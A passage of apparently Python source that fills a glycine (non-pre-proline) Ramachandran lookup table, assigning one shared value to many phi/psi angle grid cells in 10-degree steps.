Gly_nonxpro[(-130, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-130, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, -170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, -160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, -150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, 0)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-120, 160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, -150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, 0)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-110, 160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-100, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-100, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-100, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-100, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-100, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-100, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-100, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-100, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-100, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-100, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-100, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-100, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-100, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-100, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-100, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-100, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-100, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-100, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-100, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-100, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-100, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-100, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-90, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-90, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-90, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-90, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-90, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-90, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-90, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-90, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-90, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-90, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-90, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-90, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-90, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-90, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-90, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-90, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-90, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-90, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-90, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-90, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-90, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-90, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-90, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-90, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-80, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-80, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-80, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-80, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-80, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-80, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-80, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-80, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-80, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-80, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-80, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-80, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-80, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-80, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-80, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-80, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-80, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-80, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-80, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-80, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-80, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-80, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-70, -160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-70, -150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-70, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-70, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-70, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-70, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-70, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-70, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-70, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-70, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-70, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-70, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-70, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-70, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-70, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-70, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-70, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-70, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-70, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-70, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-70, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-70, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, -180)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, -170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, -160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, -150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, 0)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-60, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, -180)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, -170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, -160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, -150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, 0)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, 150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, 160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-50, 170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, -180)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, -170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, -160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, -150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, 0)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, 150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, 160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-40, 170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, -180)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, -170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, -160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, -150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, 0)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, 150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, 160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-30, 170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, -180)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, -170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, -160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, -150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, 0)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, 150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, 160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-20, 170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, -180)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, -170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, -160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, -150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, 0)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, 150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, 160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(-10, 170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, -180)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, -170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, -160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, -150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, 0)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, 90)]=Gly_nonxpro[(-180, -150)]
